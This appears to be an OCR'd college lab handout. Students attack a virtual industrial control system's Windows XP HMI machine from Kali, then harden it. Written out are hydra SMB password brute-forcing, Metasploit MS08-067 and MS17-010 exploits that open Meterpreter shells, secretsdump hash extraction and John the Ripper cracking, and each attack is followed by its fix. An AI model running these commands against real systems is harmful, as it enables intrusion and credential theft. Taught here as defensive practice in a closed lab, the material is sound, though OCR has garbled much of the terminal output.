Lab 1

Scenario Overview

The industrial control system (ICS) used in this scenario simulates an environment that might be
used to cool industrial equipment. The ICS is made up of five systems. The first system contains a
tank, tank level sensor and a water pump. The second system is a programmable logic controller
(PLC) which controls the water pump based on the level of water found in the attached tank. The
third system is an Open Platform Communications (OPC) server which accesses and modifies data
found on the PLC. The fourth system is running Human Machine Interface (HMI) software which
communicates with the OPC server to provide a human system operator with system statistics and
control. The final system in the ICS is a security appliance that provides routing and firewall
services for all systems. This scenario also make use of a system running Kali Linux. In this lab the
virtual network switch is configured so that the Kail system receives all data transmitted.
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In this lab students will practice hardening a computer system. Students will discover that the
system being testing has insecure passwords, unpatched software, unnecessary services in use
and is not protected with a host based firewall. After exploiting all of these vulnerabilities students
will learn to mitigate or remove the risk.

Part 1

Install Systems

In this part of the lab you are going to install and configure the systems needed to complete the lab.

1. If necessary, install the free Oracle VirtualBox Manager software on your system.
2. Download, and if necessary, extract, the lab image ICS-VirtualBox.ova found at
https://www.nl.northweststate.edu/CAMO/software/VirtualMachine/VirtualBox/.


https://www.nl.northweststate.edu/CAMO/software/VirtualMachine/VirtualBox/

3. Startthe Oracle VM VirtualBox program.

Import the ICS-VirtualBox.ova lab image.

5. After the import has completed access the Settings for the Security Appliance virtual
machine and change its configuration so that it is bridged to the network device in your host
computer.

6. Power on the systems in the following order:

e Security Appliance

>

e Sensor
e PLC
e OPC
e HMI
e Kali

Part 2

Work with Insecure Passwords

In this part of the lab you will demonstrate how easily an insecure password can be compromised.
You will then set a secure password and verify that the vulnerability has been mitigated.

1. Access the Kali system.

2. Atthe login screen enter student into the Enter your username field and Password01 into the
Enter your password field.

3. Clickthe Log In button.

4. Open aterminal (command prompt) window by clicking the Terminal Emulator button found

at the upper left hand corner of the window.
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5.

10.
11.

12.

13.

14.

Attempt to connect to the HMI system as the administrator user by typing the command
smbclient --user administrator //10.0.255.101/c$ and then guessing the administrator's
password when prompted.
e You must press the <ENTER> key after typing a command.
e To prevent people from looking over your shoulder and writing down the password it
is not displayed on the screen as you are typing.
e Unless you make an extremely good guess you will NOT be able to login.

— |~

E client administrator //10.0.255.101/c$

Enter WORKGROUP\admlnlstlator s password: |

Use the hydra program with the rockyou.txt password dictionary to crack the administrator's
password by typing the command hydra -1 administrator -P rockyou.txt smb://10.0.255.101.

— [ ~

administrator rock smb://18.08.255.

Now that you know the password, connect to the HMI system as the administrator user by
typing the command smbclient --user administrator //10.0.255.101/c$ and then typing in the
administrator's password as discovered in the previous step.

After the smbclient program starts type the command dir and verify that you can see the

WINDOWS directory.
> dir
@cl1f@11318d14a58cecaedcfe9 @ Mon Apr 26
AUTOEXEC.BAT A @ Thu Apr
boot.ini AHSR 2 Thu Apr
fUNFIu 5YS i @ Thu Apr
ts and Settings @ Fri Jul
Thu Apr
L L ® Thu Apr
NTDETECT . COM SR { b4 Thu Apr
ntldr AHSR Thu Apr
pagefile.sys AHS Fri Jul
i Wed Apr 2
C Wed Apr 2
tart_hmi.bat A 380 Thu Jun
ystem Volume Information L @ Thu Apr
@ Mon Jul
WINDOWS @ Mon Apr 2
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25 blocks of size 4896. 41707 blocks available
Type the command exit to terminate the smbclient program.
Switch to the HMI system.
Open a command prompt by first clicking the Start menu, then selecting the Run... option,
typing emd into the Open: field and finally clicking the OK button.
From the command prompt set the process of changing the administrator's password by
typing the command net user administrator * ( Example ).

C:~Documents and Settingssstudentnet uwser administrator *=*

Type a password for the user:

Assign a new password for the administrator which consists of at least 8 randomly chosen
characters.

Access the Kali system.
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15. Attempt to crack the administrator's new password by typing the command hydra -1
administrator -P rockyou.txt smb://10.0.255.101.

— [ ~

administrator r jou.txt smb://10.0.2
16. Allow the hydra program to run for a minute or two then press the keyboard combination

<CTRL>+C to terminate the program.
17. Answer the questions related to passwords in the Lab Form.

Part 3

Demonstrate the Importance of Software Patches

In this part of the lab you will observe how unpatched software can lead to system compromise.
You will then patch the system and verify that the vulnerability has been eliminated.

1. From the command prompt on the Kali system use the command sudo nmap --script smb-
vuln-ms08-067 10.0.255.101 to verify that the HMI system is vulnerable to the ms08-067

vulnerab|l|ty which was patched by Microsoft on October 23, 2008.

smb-vuln-ms@8-06

Starting qup 7.91 ( htt nmap.org ) at
Nmap scan report 18, 181
Host is wup (0@. )
N:T shown: 996 closed DDIT:

STATE SERVICE

open MmMSTpC

open netbios-ssn

pﬂn microsoft-ds

(Oracle VirtualBox virtual NIC)

Host script results:
| smb-vuln-ms@8-067:

2. Ifyou are using sudo and are prompted to authenticate type in the password Password01
followed by the <ENTER> key.
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3.

10.
11.

12.
13.
14.
15.

Use the command sudo msfconsole -x "use exploit/windows/smb/ms08_067_netapi;set rhost
10.0.255.101;run" to exploit the vulnerability and open a meterpreter command shell on the
HMI system ( Example ).

PDLO1T 5.0.30-dey
+ — —=[ 2099 exploits - 1129 auxiliary - 357 post
+ — -—=[ 592 payloads - 45 encoders - 10 nops
+ — —=[ 7 evasion

Metasploit tip: Use the resour command to run
commands from a file

No payload configured, defaulting to windows/meterpreter/reverse_tcp
rhost = 10.0.255.101

Started reverse TCP handler on 10.0.255.108:4444

10.0.255.101:445 - Automatically detecting the target...

10.0.255.101:445 - Fingerprint: Windows XP - Service Pack 2 - lang:Englis

10.0.255.101:445 - Selected Target: Windows XP SP2 English (AlwaysOn NX)

10.0.255.101:445 - Attempting to trigger the vulnerability ...

Sending stage (175174 bytes) to 10.0.255.101

Meterpreter session 1 opened (10.0.255.108:4444 — 10.0.255.101:1107) at
2023-07-16 10:28:45 -0400

meterpreter > |j

Type the dir command and verify that you are seeing the contents of a directory on the
Windows system.

Type the getuid command and verify that the exploit logged you in as the SYSTEM user.
Type the exit command to exit the meterpreter command shell.

Type the exit command second time to exit the msconsole program and return to the Kali
command prompt.

Switch to the HMI system.

From the Desktop double click the windowsxp-ms08-067 icon.

Review the material shown by the installation wizard then click the Next button.

Select the | Agree radio button option then click Next when you see the license agreement
window.

Click the Finish button.

Wait for the HMI system to install the patch and reboot.

Access the Kali system.

Type the command sudo nmap --script smb-vuln-sm08-067 10.0.255.101 to verify that the
HMI system is NO LONGER vulnerable to the ms08-067 vulnerability.



16. Take a screen shot of the previous command and paste it into the Lab Form.
17. Attempt to use Metasploit to exploit the vulnerability by typing the command sudo
msfconsole -x "use exploit/windows/smb/ms08 067 netapi;set rhost 10.0.255.101;run".

;5et rhost 1@.

iliary - 357 post
ad; - 45 encoders - 1@ nops

Metasploit can be configure
0 to learn more

AuTomatlLallu dnTa-Tlng the t .
Fingerprint: Windows XP vice Pack 2 - lang:Englis

Windows XP SP2 English (AlwaysOnm NX)
r the vulnerability ...

Exploit completed,

18. Type the getuid command and verify that the exploit DID NOT log you in as the SYSTEM user.
19. Type exit to return to the Kali command prompt.

Part4

Remove or Disable Unnecessary System Services

In this part of the lab you will observe how unnecessary services can be used to compromise a
system. You will then disable the unneeded service and verify that the vulnerability has been

eliminated.
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1. From the command prompt on the Kali system use the command sudo nmap --script smb-
vuln-ms17-010 10.0.255.101 to verify that the HMI system is vulnerable to the ms-010
vulnerability.

student@kali: fusr/sharefnmap/scripts

File Actions Edit View Help

[j‘ )-[/usr/share/nmap/scripts]
) ap smb-vuln-ms17-901@ 10

or 1@.

Host is up (0 p13s latency).
Not shown: 99 sed ports

STATE ¢

open

open

open microsoft-ds

open startron

[5} e (Oracle VirtualBox virtual NIC)

ution vulnerability in Microsoft SMBvl servers (msl7-901@)
VULNERABLE
CVE:CVE-2017-0143
Risk fac : HIGH
A critical remote code execution vulnerability exists in Microsoft SM

servers (msl7-@

Referen
https:
https:
https:

or-wWannacry

Nmap done: 1 IP address (1 host up) scanned in seconds

[j_ fusr/share/nmap/scripts
|
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2. Usethe command sudo msfconsole -x "use exploit/windows/smb/ms17 010 psexec;set rhost
10.0.255.101;run" to exploit the vulnerability and open a meterpreter command shell on the
HMI system.

-1
| Leaving Danger

CONNECTION struct at: 6xB16

EM session o

-> 19.0.255.161:1846) at

Type the getuid command and verify that the exploit logged you in as the SYSTEM user.

Type the reboot command.

Type the exit command to exit the meterpreter command shell.

Type the exit command second time to exit the msconsole program and return to the Kali
command prompt.

7. Switch to the HMI system and verify that the system is rebooting.

8. After the HMI system has rebooted click the Start menu then click the Control Panel button.
9. Select the Performance and Maintenance category.

10. Select the Administrative Tools link.

11. Double click the Services icon to start the Services utility.

o0k~
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12. Scroll through the list of services and find the Server service.

13. Double click the Server service and read the description of the service.

14. Click the Stop button to terminate the running instance of the Server service.

e NOTE: If you were doing this on a production system you would also want to disable
the service so that it would not start again when the system was rebooted. We are
not disabling the service for this lab since it will be needed in later sections.

15. When you are informed that the Computer Browser service will also be stopped click the
Yes button to acknowledge the warning.

16. Click the OK button to close the Server Properties window.

17. Access the Kali system.

18. Type the command sudo nmap --script smb-vuln-ms17-010 10.0.255.101 to verify that the
HMI system is NO LONGER vulnerable to the ms17-010 vulnerability.

19. Take a screen shot of the previous command and paste it into the Lab Form.

20. Attempt to use Metasploit to exploit the vulnerability by typing the command sudo
msfconsole -x "use exploit/windows/smb/ms17_010_psexec;set rhost 10.0.255.101;run" (
Example).

21. Type the getuid command and verify that the exploit DID NOT log you in as the SYSTEM user.

22. Type exit to return to the Kali command prompt.

23. Switch to the HMI system.

24. Restart the system by clicking on the Start menu, choosing the Turn Off Computer button
then clicking Restart.

Part 5

Enable a Host Firewall

In this part of the lab you will use an open network port to extract the windows security database
from a remote system. After capturing the encrypted security data you will use the John the Ripper
tool to decrypt the user's passwords. You will then block the firewall by enabling a firewall and verify
that the security database can not be remotely exploited.

1. Switch to the Kali system.

2. Usethe command sudo nmap -p 445 10.0.255.101 to verify that the HMI system is listening
on TCP port 445 and is therefore vulnerable to the secretsdump Metasploit module.

3. Type the command sudo msfconsole to start the Metasploit program.

4. After Metasploit starts, type the command use auxiliary/scanner/smb/impact/secretsdump
to select the secretsdump module.

5. Type the command set rhosts 10.0.255.101 to set the target (remote host) of the module as
the HMI system.

6. Typethe command set smbuser student to tell the module to login using the student
account.

7. Typethe command set smbpass Password01 to tell the module to use the password
Password01.

8. Typethe command set outputfile secrets to tell the module to write the results of the scan to
files named secrets.
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9. Typethe command show options and verify that your options are set correctly.
msf6 auxiliary( ) = show options

Module options (auxiliary/scanner/smb/impacket/secretsdump):

Name Current Setting Reguired Description

ExecMethod smbex ( The method to use for executionm (Ac
cepted: smbexec, wmi o
QutputFile secrets Write the results to a file
(s

RHOSTS 10. 55.181 yes The target host
tifier, or hosts file with syntax 'file:<path='

SMBEDomain . The Windows domain to use for authe
ntication

SMBPass Passwordfl ye The password for the specified user
name

SMBUser student y The username to authenticate as

THREADS 1 y The number of concurrent threads (m
ax one per host)

), range CIDR iden

10. Type the command run to execute the module.
11. After the exploit has run, type the command exit to terminate the Metasploit program.
12. Use the command Is to verify that the files secrets.sam and secrets.secrets were created.

rockyou. txt

change_network.sh secrets.sam
secrets.secrets

13. Use the command john --wordlist=rockyou.txt --format=NT secrets.sam to crack the
captured account data using the John the Ripper program.

s -

Created directory: /home/student/.john
Using default input encoding: UTF-8

14. Type the command john --show --format=NT secrets.sam to view the results.
15. Take a screen shot of the previous command and paste it into the Lab Form.
16. Switch to the HMI system.

17. Click the Start menu then click the Control Panel button.

18. Select the Security Center category.
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19. Scroll to the bottom of the page and click the Windows Firewall link found in the Manage
security settings for: category of options.

(=13
@ Security Center
Help protect your PC

i S T
Recommendations to learn how to fix this problem. How does a firewall help protect mr
cormplber?

¥ Windows Security Center

B N S R S o L i

@) Resources ES

Mote: Windows does not detect all firewalls,

= Get the latest security and wirus

infarmation From Microsoft

Check for the latest updates from Q Automatic Updates © CHECK SETTINGS | &

‘Windows Update

Get support Far security-related Automatic Updates is not et configured for this computer. Click Turn on Automatic Updates to
iceLes have Windows automatically keep vour computer current with important updates
{recammended). How does Automatic Updates help protect my computer?

Get help about Security Center [ Turn on Automatic Updates ]

Change the way Security Center

wWindows did not find antivirus software on this computer, Antivirus software helps protect
wour computer against viruses and other security threats. Click Recommendations for
suggested actions vou can take. How does antivirus software help protect my computer?

Moke: Windows does nat detect all antivirus programs,

Recommendations, .,

Manage security settings for:

9 Internet Options fﬁ Automatic Updates

At Microsoft, we care about your privacy.

20. Select the On (recommended) radio button then click OK.

21. Switch to the Kali system.

22. Use the command sudo nmap -p 445 10.0.255.101 to verify that the HMI system is NOT
listening on TCP port 445 and is therefore NOT vulnerable to the secretsdump Metasploit
module.

23. Take a screen shot of the previous command and paste it into the Lab Form.

24. Answer the remainder of questions in the Lab Form.
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